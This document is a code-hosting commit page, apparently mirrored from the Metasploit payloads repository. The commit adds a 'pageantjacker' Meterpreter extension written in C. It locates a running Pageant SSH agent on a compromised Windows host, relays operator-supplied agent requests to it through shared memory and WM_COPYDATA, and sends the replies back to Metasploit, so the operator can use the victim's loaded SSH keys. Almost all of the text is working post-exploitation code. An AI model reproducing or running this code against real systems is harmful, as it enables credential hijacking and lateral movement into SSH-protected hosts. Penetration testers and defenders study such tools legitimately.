1
mirror of https://github.com/rapid7/metasploit-payloads synced 2025-03-18 15:14:10 +01:00

Land , pageantjacker addition to extapi

This commit is contained in:
Brent Cook 2015-09-23 21:06:44 -05:00
commit 5d41b05765
No known key found for this signature in database
GPG Key ID: 1FFAA0B24B708F96
6 changed files with 233 additions and 0 deletions
c/meterpreter
source
workspace/ext_server_extapi

0
c/meterpreter/source/common/common.h Executable file → Normal file

@ -16,6 +16,7 @@
#include "adsi.h"
#include "wmi.h"
#include "ntds.h"
#include "pageantjacker.h"
// this sets the delay load hook function, see DelayLoadMetSrv.h
EnableDelayLoadMetSrv();
@ -38,6 +39,7 @@ Command customCommands[] =
COMMAND_REQ("extapi_adsi_domain_query", request_adsi_domain_query),
COMMAND_REQ("extapi_ntds_parse", ntds_parse),
COMMAND_REQ("extapi_wmi_query", request_wmi_query),
COMMAND_REQ("extapi_pageant_send_query", request_pageant_send_query),
COMMAND_TERMINATOR
};

@ -77,6 +77,12 @@
#define TLV_TYPE_NTDS_TEST MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 80)
#define TLV_TYPE_NTDS_PATH MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 81)
#define TLV_TYPE_EXT_PAGEANT_STATUS MAKE_CUSTOM_TLV(TLV_META_TYPE_BOOL, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 85)
#define TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 86)
#define TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 87)
#define TLV_TYPE_EXT_PAGEANT_SIZE_IN MAKE_CUSTOM_TLV(TLV_META_TYPE_UINT, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 88)
#define TLV_TYPE_EXT_PAGEANT_BLOB_IN MAKE_CUSTOM_TLV(TLV_META_TYPE_RAW, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 89)
#define TLV_TYPE_EXT_WMI_DOMAIN MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 90)
#define TLV_TYPE_EXT_WMI_QUERY MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 91)
#define TLV_TYPE_EXT_WMI_FIELD MAKE_CUSTOM_TLV(TLV_META_TYPE_STRING, TLV_TYPE_EXTENSION_EXTAPI, TLV_EXTENSIONS + 92)

@ -0,0 +1,211 @@
/*!
* @file pageantjacker.c
* @brief Entry point and intialisation functionality for the pageantjacker extention.
*/
#include "extapi.h"
#include "pageantjacker.h"
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
// Results from the pageant query function
typedef struct pageant_query_results {
BOOL result;
unsigned int errorMessage;
byte *blob;
DWORD bloblength;
} PAGEANTQUERYRESULTS;
// Class and window name
#define PAGEANT_NAME L"Pageant"
#define PAGEANTJACKER_ERROR_NOERROR 0
#define PAGEANTJACKER_ERROR_SENDMESSAGE 1
#define PAGEANTJACKER_ERROR_MAPVIEWOFFILE 2
#define PAGEANTJACKER_ERROR_CREATEFILEMAPPING 3
#define PAGEANTJACKER_ERROR_ALLOC 4
#define PAGEANTJACKER_ERROR_REQSTRINGBUILD 5
#define PAGEANTJACKER_ERROR_NOTFOUND 6
#define PAGEANTJACKER_ERROR_NOTFORWARDED 7
#define AGENT_MAX 8192
#define AGENT_COPYDATA_ID 0x804e50ba
#define PAGENT_REQUEST_LENGTH 23
DWORD get_length_response(byte *b) {
return (b[3]) | (b[2] << 8) | (b[1] << 16) | (b[0] << 24);
}
void send_query_to_pageant(byte *query, unsigned int querylength, PAGEANTQUERYRESULTS *ret) {
// This will always be 23 chars. Initialised to zero here = no memset()
char strPuttyRequest[PAGENT_REQUEST_LENGTH] = { 0 };
COPYDATASTRUCT pageant_copy_data;
unsigned char *filemap_pointer = NULL;
HANDLE filemap = NULL;
HWND hPageant = NULL;
unsigned int protocol_return_length = 0;
unsigned int api_result = 0;
// Initialise the results arrays
ret->result = FALSE;
ret->errorMessage = PAGEANTJACKER_ERROR_NOERROR;
hPageant = FindWindowW(PAGEANT_NAME, PAGEANT_NAME);
if (hPageant == NULL) {
// Could not get a handle to Pageant. This probably means that it is not running.
ret->errorMessage = PAGEANTJACKER_ERROR_NOTFOUND;
return;
}
dprintf("[PJ(send_query_to_pageant)] Pageant Handle is %x", hPageant);
// Generate the request string and populate the struct
if (_snprintf_s((char *)&strPuttyRequest,
sizeof(strPuttyRequest), _TRUNCATE, "PageantRequest%08x",
(unsigned int)GetCurrentThreadId()) <= 0)
{
// _snprintf_s failed. Note that this should never happen because it could
// mean that somehow %08x has lost its meaning. Essentially though this is
// here to guard against buffer overflows.
ret->errorMessage = PAGEANTJACKER_ERROR_REQSTRINGBUILD;
return;
}
pageant_copy_data.dwData = AGENT_COPYDATA_ID;
pageant_copy_data.cbData = sizeof(strPuttyRequest);
pageant_copy_data.lpData = &strPuttyRequest;
dprintf("[PJ(send_query_to_pageant)] Request string is at 0x%p (%s)",
&pageant_copy_data.lpData, pageant_copy_data.lpData);
// Pageant effectively communicates with PuTTY using
// shared memory (in this case, a pagefile backed
// memory allocation).
// It will overwrite this memory block with the result
// of the query.
filemap = CreateFileMappingA(INVALID_HANDLE_VALUE,
NULL, PAGE_READWRITE, 0, AGENT_MAX, (char *)
&strPuttyRequest);
if (filemap == NULL || filemap == INVALID_HANDLE_VALUE) {
ret->errorMessage = PAGEANTJACKER_ERROR_CREATEFILEMAPPING;
goto out;
}
dprintf("[PJ(send_query_to_pageant)] CreateFileMappingA returned 0x%x", filemap);
filemap_pointer = MapViewOfFile(filemap, FILE_MAP_WRITE, 0, 0, 0);
if (filemap_pointer == NULL) {
ret->errorMessage = PAGEANTJACKER_ERROR_MAPVIEWOFFILE;
goto out;
}
dprintf("[PJ(send_query_to_pageant)] MapViewOfFile returned 0x%x", filemap_pointer);
dprintf("going to copy %u bytes of %p to %p", querylength, query, filemap_pointer);
// Initialise and copy the request to the memory block that will be passed to Pageant.
SecureZeroMemory(filemap_pointer, AGENT_MAX);
if (querylength) {
memcpy(filemap_pointer, query, querylength);
}
dprintf("copied");
dprintf("[PJ(send_query_to_pageant)] Request length: %d. "
"Query buffer: %02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X. "
"Request buffer: %02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X",
querylength,
query[0], query[1], query[2], query[3], query[4], query[5], query[6], query[7],
filemap_pointer[0],
filemap_pointer[1],
filemap_pointer[2],
filemap_pointer[3],
filemap_pointer[4],
filemap_pointer[5],
filemap_pointer[6],
filemap_pointer[7]);
// Send the request message to Pageant.
dprintf("[PJ(send_query_to_pageant)] Ready to send WM_COPYDATA");
SetLastError(ERROR_SUCCESS);
SendMessage(hPageant, WM_COPYDATA, (WPARAM) NULL, (LPARAM) &pageant_copy_data);
if (GetLastError() != ERROR_SUCCESS) {
// SendMessage failed
ret->errorMessage = PAGEANTJACKER_ERROR_SENDMESSAGE;
goto out;
}
protocol_return_length = get_length_response(filemap_pointer) + 4;
dprintf("[PJ(send_query_to_pageant)] Result length: %d. "
"Result buffer: %02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X",
protocol_return_length,
filemap_pointer[0],
filemap_pointer[1],
filemap_pointer[2],
filemap_pointer[3],
filemap_pointer[4],
filemap_pointer[5],
filemap_pointer[6],
filemap_pointer[7]);
if (protocol_return_length && protocol_return_length < AGENT_MAX) {
ret->blob = calloc(1, protocol_return_length);
if (ret->blob == NULL) {
dprintf("[PJ(send_query_to_pageant)] Malloc error (length: %d).", protocol_return_length);
ret->errorMessage = PAGEANTJACKER_ERROR_ALLOC;
goto out;
}
memcpy(ret->blob, filemap_pointer, protocol_return_length);
ret->bloblength = protocol_return_length;
ret->result = TRUE;
}
out:
if (filemap_pointer) {
api_result = UnmapViewOfFile(filemap_pointer);
dprintf("[PJ(send_query_to_pageant)] UnmapViewOfFile returns %d.", api_result);
}
if (filemap) {
api_result = CloseHandle(filemap);
dprintf("[PJ(send_query_to_pageant)] CloseHandle (from CreateFileMapping) returns %d.", api_result);
}
}
DWORD request_pageant_send_query(Remote *remote, Packet *packet)
{
Packet *response = packet_create_response(packet);
DWORD rawDataSizeIn = 0;
Byte *rawDataIn = NULL;
PAGEANTQUERYRESULTS results = { 0 };
// Retrieve from metasploit
rawDataSizeIn = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
rawDataIn = packet_get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn);
// Make sure that the length marker can never go above AGENT_MAX (i.e. prevent a stack based buffer overflow later)
if (rawDataSizeIn >= AGENT_MAX) {
rawDataSizeIn = AGENT_MAX - 1;
}
// Interact with Pageant. Note that this will always return a struct, even if the operation failed.
dprintf("[PJ(request_pageant_send_query)] Forwarding query to Pageant");
send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results);
// Build the packet based on the respones from the Pageant interaction.
packet_add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
packet_add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
packet_add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len "
"%d, data is at 0x%p. Error message at 0x%p (%d)",
results.result, results.bloblength, results.blob,
&results.errorMessage, results.errorMessage);
free(results.blob);
// Transmit the packet to metasploit
packet_transmit_response(ERROR_SUCCESS, remote, response);
return ERROR_SUCCESS;
}

@ -0,0 +1,12 @@
/*!
* @file wmi.h
* @brief Declarations for PAGEANTJACKER request handlers.
*/
#ifndef _METERPRETER_SOURCE_EXTENSION_EXTAPI_PAGEANTJACKER_H
#define _METERPRETER_SOURCE_EXTENSION_EXTAPI_PAGEANTJACKER_H
#include "../../common/common.h"
DWORD request_pageant_send_query(Remote *remote, Packet *packet);
#endif

@ -447,6 +447,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClCompile Include="..\..\source\extensions\extapi\ntds.c" />
<ClCompile Include="..\..\source\extensions\extapi\ntds_decrypt.c" />
<ClCompile Include="..\..\source\extensions\extapi\ntds_jet.c" />
<ClCompile Include="..\..\source\extensions\extapi\pageantjacker.c" />
<ClCompile Include="..\..\source\extensions\extapi\service.c" />
<ClCompile Include="..\..\source\extensions\extapi\syskey.c" />
<ClCompile Include="..\..\source\extensions\extapi\window.c" />
@ -463,6 +464,7 @@ copy /y "$(TargetDir)$(TargetFileName)" "$(ProjectDir)..\..\output\$(PlatformSho
<ClInclude Include="..\..\source\extensions\extapi\ntds.h" />
<ClInclude Include="..\..\source\extensions\extapi\ntds_decrypt.h" />
<ClInclude Include="..\..\source\extensions\extapi\ntds_jet.h" />
<ClInclude Include="..\..\source\extensions\extapi\pageantjacker.h" />
<ClInclude Include="..\..\source\extensions\extapi\service.h" />
<ClInclude Include="..\..\source\extensions\extapi\syskey.h" />
<ClInclude Include="..\..\source\extensions\extapi\window.h" />